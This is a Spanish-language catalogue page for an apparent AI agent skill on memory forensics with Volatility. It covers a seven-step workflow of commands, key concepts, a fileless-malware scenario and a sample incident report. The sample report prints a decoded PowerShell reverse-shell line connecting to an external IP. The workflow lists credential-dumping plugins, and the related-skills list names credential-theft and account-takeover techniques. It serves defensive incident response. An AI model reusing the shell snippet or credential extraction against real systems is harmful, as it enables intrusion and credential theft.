Communitygithub.com

análisis-de-volcados-de-memoria-con-volatility

Analiza volcados de memoria RAM de sistemas comprometidos utilizando el framework Volatility para identificar procesos maliciosos, malware fileless y artefactos de ataque.

¿Qué es análisis-de-volcados-de-memoria-con-volatility?

Esta habilidad de IA agente especializada en análisis forense de memoria volátil capacita al asistente para examinar volcados de memoria RAM provenientes de sistemas comprometidos usando el framework Volatility. Sigue un flujo de trabajo de siete pasos que incluye la identificación del perfil del sistema operativo, enumeración de procesos, detección de inyección de código, análisis de conexiones de red, extracción de artefactos y credenciales, escaneo con reglas YARA, y generación de líneas de tiempo y reportes. Es compatible con Volatility 3 y 2, y cubre sistemas Windows, Linux y macOS. La habilidad es útil para detectar malware fileless, rootkits, técnicas de process hollowing, DLL injection, y extraer contraseñas, claves de cifrado y configuraciones de memoria. Se basa en documentación técnica detallada y proporciona indicadores de procesos sospechosos, explicaciones de conceptos clave como VAD y Malfind, y un ejemplo de formato de informe completo con hallazgos reales. Es una herramienta esencial para investigadores de seguridad, analistas de SOC y respondedores de incidentes que necesitan realizar análisis profundo de memoria sin depender de artefactos en disco.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

Análisis de Volcados de Memoria con Volatility

Cuándo Usarlo

  • La RAM de un sistema comprometido ha sido capturada y necesita análisis forense en busca de artefactos de malware
  • Detección de malware fileless que solo existe en memoria sin artefactos persistentes en disco
  • Extracción de claves de cifrado, contraseñas o configuraciones descifradas de la memoria de procesos
  • Identificación de inyección de procesos, inyección de DLL o process hollowing en un sistema comprometido
  • Análisis de actividad de rootkits que se ocultan de las herramientas forenses estándar basadas en disco

No usar para análisis de imágenes de disco; usar Autopsy, FTK o Sleuth Kit para forense de disco.

Prerrequisitos

  • Volatility 3 instalado (pip install volatility3) con tablas de símbolos para el sistema operativo objetivo
  • Archivo de volcado de memoria adquirido del sistema objetivo (usando WinPmem, LiME o DumpIt)
  • Conocimiento de la versión del sistema operativo origen para la correcta selección de perfil/símbolo
  • Suficiente espacio en disco (los volcados de memoria pueden tener entre 4 y 64 GB)
  • Reglas YARA para escanear la memoria en busca de firmas de malware conocidas
  • Utilidad Strings para extraer cadenas de texto legibles de regiones de memoria

Flujo de Trabajo

Paso 1: Identificar el Perfil del Volcado de Memoria

Determina el sistema operativo y la versión a partir del volcado de memoria:

# Volatility 3: Detección automática del sistema operativo
vol3 -f memory.dmp windows.info

# Listar plugins disponibles
vol3 -f memory.dmp --help

# Si se necesitan símbolos, descargar desde:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Para Volatility 2 (heredado):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Paso 2: Enumerar Procesos en Ejecución

Lista todos los procesos e identifica entradas sospechosas:

# Listar todos los procesos
vol3 -f memory.dmp windows.pslist

# Árbol de procesos (relaciones padre-hijo)
vol3 -f memory.dmp windows.pstree

# Escanear en busca de procesos ocultos/desenlazados (detección de rootkits)
vol3 -f memory.dmp windows.psscan

# Comparar pslist vs psscan para encontrar procesos ocultos
# Los procesos en psscan pero no en pslist están potencialmente ocultados por rootkits

# Verificar process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Luego verificar que el EXE volcado coincide con el binario esperado en disco
Indicadores de Procesos Sospechosos:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe no generado por services.exe (padre incorrecto)
- csrss.exe/lsass.exe con un proceso padre inusual
- Múltiples instancias de lsass.exe (debería haber solo una)
- Procesos con nombres mal escritos (scvhost.exe, lssas.exe)
- cmd.exe o powershell.exe generados por WINWORD.EXE o el navegador
- Procesos ejecutándose desde rutas inusuales (%TEMP%, %APPDATA%)
- Procesos sin padre (huérfanos - padre terminado)

Paso 3: Detectar Inyección de Código Malicioso

Escanea en busca de código inyectado y process hollowing:

# Detectar código inyectado en procesos (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind busca:
# - Regiones de memoria con protección PAGE_EXECUTE_READWRITE
# - Regiones de memoria que contienen cabeceras PE (firma MZ/PE)
# - Anomalías en VAD (Descriptor de Direcciones Virtuales)

# Volcar regiones de memoria inyectadas para análisis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# Listar DLLs cargadas por proceso
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detectar procesos huecos comparando la imagen mapeada con el disco
vol3 -f memory.dmp windows.hollowfind

# Escanear en busca de controladores cargados (posibles controladores de rootkits)
vol3 -f memory.dmp windows.driverscan

# Listar módulos del kernel
vol3 -f memory.dmp windows.modules

Paso 4: Analizar Conexiones de Red

Extrae conexiones de red activas y cerradas:

# Listar todas las conexiones de red (activas y en escucha)
vol3 -f memory.dmp windows.netscan

# Columnas de salida: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filtrar por conexiones establecidas a IPs externas
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# Para Windows antiguo (XP/2003):
vol3 -f memory.dmp windows.netstat

# Referencia cruzada de PIDs con la lista de procesos
# Sospechoso: svchost.exe conectado a IP externa en puerto no estándar
# Sospechoso: notepad.exe o calc.exe con conexiones de red

Paso 5: Extraer Artefactos y Credenciales

Recupera datos sensibles de la memoria:

# Volcar la memoria de un proceso para un PID específico
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extraer el historial de línea de comandos
vol3 -f memory.dmp windows.cmdline

# Extraer variables de entorno
vol3 -f memory.dmp windows.envars --pid 2184

# Análisis del registro (extraer claves Run para persistencia)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extraer credenciales hasheadas/en caché
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extraer contenido del portapapeles
vol3 -f memory.dmp windows.clipboard

# Extracción de archivos desde la memoria
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Paso 6: Escanear Memoria con Reglas YARA

Aplica firmas YARA para detectar malware conocido en memoria:

# Escanear todo el volcado de memoria con reglas YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Escanear la memoria de un proceso específico
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Escaneo YARA integrado para patrones comunes
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Escanear en busca de material de clave de cifrado
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Paso 7: Generación de Línea de Tiempo y Reporte

Crea una línea de tiempo de análisis y compila los hallazgos:

# Generar línea de tiempo completa
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# La línea de tiempo incluye:
# - Horas de creación/terminación de procesos
# - Marcas de tiempo de conexiones de red
# - Horas de modificación del registro
# - Horas de acceso a archivos

# Exportar lista de procesos para el informe
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Exportar conexiones de red
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Conceptos Clave

TérminoDefinición
Forense de MemoriaAnálisis del contenido de la memoria volátil (RAM) para identificar procesos en ejecución, conexiones de red y artefactos en memoria que pueden no existir en disco
Process HollowingTécnica de malware que crea un proceso legítimo en estado suspendido, reemplaza su memoria con código malicioso y luego reanuda la ejecución
MalfindPlugin de Volatility que detecta código inyectado identificando regiones de memoria con permisos ejecutables y cabeceras PE en VADs que no son de imagen
VAD (Descriptor de Direcciones Virtuales)Estructura del kernel de Windows que rastrea las regiones de memoria asignadas a un proceso; las anomalías en los VAD indican inyección o hollowing
EPROCESSEstructura del kernel de Windows que representa un proceso; los rootkits desenlazan entradas EPROCESS para ocultar procesos de las herramientas estándar
Escaneo de Etiquetas de PoolTécnica de forense de memoria que escanea etiquetas de pool de objetos del kernel para encontrar objetos (procesos, archivos, conexiones) incluso cuando están desenlazados
Malware FilelessMalware que opera completamente en memoria sin crear archivos en disco; solo detectable mediante forense de memoria

Herramientas y Sistemas

  • Volatility 3: Framework de forense de memoria de código abierto compatible con análisis de memoria de Windows, Linux y macOS con arquitectura de plugins
  • WinPmem: Herramienta de adquisición de memoria para sistemas Windows que crea volcados de memoria raw para análisis offline
  • LiME (Extractor de Memoria de Linux): Módulo de kernel cargable para capturar volcados de memoria de sistemas Linux
  • Rekall: Framework alternativo de forense de memoria con algunas capacidades de análisis únicas (descontinuado pero aún útil)
  • MemProcFS: Sistema de archivos de procesos de memoria que permite montar volcados de memoria como sistemas de archivos para un análisis intuitivo

Escenarios Comunes

Escenario: Detección de Malware Fileless Después de una Alerta de EDR

Contexto: EDR detectó actividad sospechosa de PowerShell, pero el actor de amenazas limpió los artefactos en disco. Se capturó un volcado de memoria antes de reiniciar el sistema. El análisis necesita identificar el malware, su mecanismo de persistencia y cualquier movimiento lateral.

Enfoque:

  1. Ejecutar windows.pstree para identificar la cadena de procesos (qué proceso generó PowerShell)
  2. Ejecutar windows.malfind para detectar código inyectado en procesos en ejecución
  3. Volcar la memoria del proceso sospechoso y extraer cadenas para URLs de C2
  4. Ejecutar windows.netscan para identificar conexiones de red desde los procesos comprometidos
  5. Ejecutar windows.cmdline para ver qué comandos ejecutó PowerShell
  6. Escanear con reglas YARA en busca de familias de malware conocidas en la memoria del proceso volcado
  7. Extraer credenciales con hashdump y lsadump para evaluar el riesgo de movimiento lateral

Errores Comunes:

  • Usar tablas de símbolos incorrectas para la versión del sistema operativo (provoca fallos en los plugins o resultados incorrectos)
  • No comparar la salida de pslist vs psscan (perder procesos ocultos por rootkits)
  • Ignorar procesos legítimos que han sido inyectados (centrarse en los resultados de malfind, no solo en los nombres de los procesos)
  • No extraer la memoria completa del proceso antes de concluir el análisis (las cadenas del volcado de procesos pueden revelar IOCs adicionales)

Formato de Salida

INFORME DE ANÁLISIS FORENSE DE MEMORIA
=========================================
Archivo de Volcado:   memory.dmp
Tamaño del Volcado:   16 GB
Versión del SO:       Windows 10 21H2 (Build 19044)
Herramienta de Captura: WinPmem 4.0
Hora de Captura:      2025-09-15 14:35:00 UTC

PROCESOS SOSPECHOSOS
PID   PPID  Nombre            Ruta                                    Anomalía
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Ruta incorrecta
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Hijo de svchost falso
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Generado por PowerShell

INYECCIÓN DE CÓDIGO DETECTADA (malfind)
PID 852 (explorer.exe):
  Dirección: 0x00400000  Tamaño: 98304  Protección: PAGE_EXECUTE_READWRITE
  Cabecera: MZ (PE incrustado detectado)
  SHA-256 del volcado: abc123def456...

CONEXIONES DE RED
PID   Proceso         Local              Remota               Estado
2184  svchost.exe     10.1.5.42:49152    185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200    91.215.85.17:8080    ESTABLISHED

CREDENCIALES EXTRAÍDAS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

HISTORIAL DE LÍNEA DE COMANDOS
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decodificado: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

COINCIDENCIAS YARA
PID 2184: regla CobaltStrike_Beacon { coincidencia en 0x00401200 }

LÍNEA DE TIEMPO
14:10:00  svchost.exe (PID 2184) creado desde C:\Users\Admin\AppData\Temp\
14:10:05  Conexión de red a 185.220.101.42:443 establecida
14:12:30  powershell.exe (PID 4012) generado por svchost.exe
14:15:00  Inyección de código en explorer.exe (PID 852) detectada
14:20:00  Volcado de credenciales del proceso LSASS

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills relacionados